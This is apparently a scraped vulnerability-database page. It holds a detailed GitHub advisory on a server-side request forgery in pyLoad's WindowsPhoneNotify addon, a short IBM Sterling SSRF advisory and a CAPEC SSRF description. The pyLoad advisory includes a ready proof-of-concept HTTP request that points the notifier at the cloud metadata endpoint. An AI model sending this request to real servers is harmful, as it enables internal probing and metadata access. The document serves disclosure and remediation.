  "details": "## Summary\n\npyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin\u0027s `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python\u0027s `http.client.HTTPConnection`, so it never passes through pyLoad\u0027s pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`.\n\n## Root Cause\n\npyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.\n\n```text\nAffected symbols:\n- WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check.\n- Api.set_config_value (src/pyload/core/api/__init__.py): ADMIN_ONLY_PLUGIN_OPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values.\n```\n\n## Impact\n\nAn authenticated user with the non-admin `SETTINGS` permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (`pushurl`), the request path (`pushid`), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated.\n\n## Proof of Concept\n\n```text\nPreconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event.\n```\n\n1. As a user with the `SETTINGS` permission, POST to `/json/save_config` with `category=\"plugin\"` and config values `WindowsPhoneNotify|pushurl=169.254.169.254`, `WindowsPhoneNotify|pushid=/latest/meta-data/`, and `WindowsPhoneNotify|enabled=True`.\n2. The write is accepted because `(WindowsPhoneNotify, pushurl)` is not in the admin-only option set, and setting `enabled` to true triggers the addon manager\u0027s dynamic activation callback, loading the plugin immediately.\n3. Allow (or cause) any download to finish. The global `download_finished` event iterates activated addons and invokes the notifier.\n\n```text\nPOST /json/save_config HTTP/1.1\nHost: pyload.target\nCookie: \u003cauthenticated session with SETTINGS\u003e\nContent-Type: application/x-www-form-urlencoded\n\ncategory=plugin\u0026config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D\n```\n\n```text\nObserved result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends \"POST /latest/meta-data/\" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation.\n```\n\n## Attack Chain\n\n1. **Exposure:** The `/json/save_config` web endpoint is network reachable and gated only by `login_required(\"SETTINGS\")`, a standard non-admin permission bit.\n2. **Control:** The attacker supplies the notifier `pushurl` (host and port), `pushid` (request path), and `enabled` flag as config values.\n3. **Path:** `set_config_value` writes the plugin options; the addon manager\u0027s config-change callback fires on `enabled` and activates the addon without a restart; a completed download dispatches the global `download_finished` event to activated addons.\n4. **Guard:** The config-write check consults `ADMIN_ONLY_PLUGIN_OPTIONS`, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurl `PREREQFUNCTION` SSRF guard and `is_global_address` are never invoked on this path.\n5. **Primitive:** `WindowsPhoneNotify.send()` calls `http.client.HTTPConnection(pushurl)` and issues a POST to `pushid`.\n6. **Result:** A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server\u0027s network position.\n\n## Bypass Evidence\n\npyLoad\u0027s outbound SSRF protection lives entirely in the pycurl request path: `is_global_address()` is called only from the pycurl `PREREQFUNCTION` callback, and `is_global_host()` is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses `http.client.HTTPConnection`, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and failed: the `SETTINGS` permission is a non-admin bit that an admin can grant independently of the admin role; the admin-only plugin option set does not contain the notifier fields; the dynamic activation callback fires on `enabled` and the activation and download-event handlers share a lock so there is no activation race; the notifier key-emptiness, client-connection, and rate-limit checks all pass with attacker-chosen non-empty values and default settings; and the `testing` plugin status is loadable (only `broken` is rejected).\n\n## Affected Versions\n\n- `Ecosystem: pip`\n- `Package: pyload-ng`\n- `Confirmed affected range: \u003c= 0.5.0b3.dev101`\n- `Latest release checked: pyload-ng 0.5.0b3.dev101 (PyPI sdist, sha256 427cfb35bc8e0db104e86a53576b2fdef99127aec178b80f58380a7977130251)`\n- `Fix status: not fixed in any released version`\n\nThe vulnerable `send()` method and the narrow admin-only plugin option set are present in the latest published PyPI artifact, `pyload_ng-0.5.0b3.dev101`. The project publishes only prerelease builds; there is no final `0.5.0` release, so the upper bound is the latest published prerelease. The introduction point was not bisected, so the range uses an open lower bound; the WindowsPhoneNotify addon carries an internal plugin version of 0.19, indicating a long history. No published version contains a fix.\n\n## Suggested Fix\n\nEnforce the same outbound destination policy on every HTTP client pyLoad uses, not only the pycurl path. Before the notifier opens a connection, resolve the configured host and reject non-global or otherwise disallowed destinations using the existing `is_global_host` / `is_global_address` logic (including the IPv6 transition-form handling), or route all addon HTTP traffic through a single hardened client that applies the guard. As defense in depth, add the WindowsPhoneNotify host and path options (and any other plugin option that designates a network destination) to the admin-only option set so a non-admin `SETTINGS` user cannot repoint them. Interim mitigation: restrict the `SETTINGS` permission to trusted accounts and ensure the pyLoad host cannot reach sensitive internal endpoints such as the cloud metadata service.\n\nReported by zx (GitHub: @manus-pi).",
  "id": "GHSA-p3pr-8f3m-4qp8",
  "modified": "2026-10-09T17:09:03Z",
  "published": "2026-10-09T17:09:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-p3pr-8f3m-4qp8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host"
}

GHSA-P3QC-MH98-4VQ5

Vulnerability from github – Published: 2022-07-20 00:00 – Updated: 2022-07-28 00:00
VLAI
Details

IBM Sterling Partner Engagement Manager 6.1.2, 6.2, and Cloud/SasS 22.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 223126.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-22416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-19T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Sterling Partner Engagement Manager 6.1.2, 6.2, and Cloud/SasS 22.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 223126.",
  "id": "GHSA-p3qc-mh98-4vq5",
  "modified": "2022-07-28T00:00:53Z",
  "published": "2022-07-20T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22416"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/223126"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6604989"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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